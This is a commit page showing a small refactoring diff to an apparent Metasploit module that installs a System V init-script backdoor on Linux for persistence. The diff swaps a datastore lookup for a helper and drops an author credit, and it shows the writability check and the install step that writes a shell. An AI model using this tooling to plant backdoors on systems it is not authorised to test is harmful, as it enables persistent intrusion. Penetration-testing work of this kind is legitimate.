Skip to content

Commit 7bdc730

Browse files
committed
systemv updated with mixin udpates
1 parent 22f629a commit 7bdc730

File tree

1 file changed

+4
-5
lines changed

1 file changed

+4
-5
lines changed

modules/exploits/linux/persistence/init_sysvinit.rb

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,6 @@ def initialize(info = {})
3434
'License' => MSF_LICENSE,
3535
'Author' => [
3636
'h00die',
37-
'Cale Black' # systemd user target
3837
],
3938
'Platform' => ['unix', 'linux'],
4039
'Targets' => [
@@ -84,19 +83,19 @@ def initialize(info = {})
8483
end
8584

8685
def check
87-
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
88-
return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir'])
86+
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
87+
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
8988

9089
has_updatercd = command_exists?('update-rc.d')
9190
if has_updatercd || command_exists?('chkconfig') # centos 5
92-
return CheckCode::Appears("#{datastore['WritableDir']} is writable and system is System V based")
91+
return CheckCode::Appears("#{writable_dir} is writable and system is System V based")
9392
end
9493

9594
CheckCode::Safe('Likely not a System V based system')
9695
end
9796

9897
def install_persistence
99-
backdoor = write_shell(datastore['WritableDir'])
98+
backdoor = write_shell(writable_dir)
10099

101100
path = backdoor.split('/')[0...-1].join('/')
102101
file = backdoor.split('/')[-1]

0 commit comments

Comments
 (0)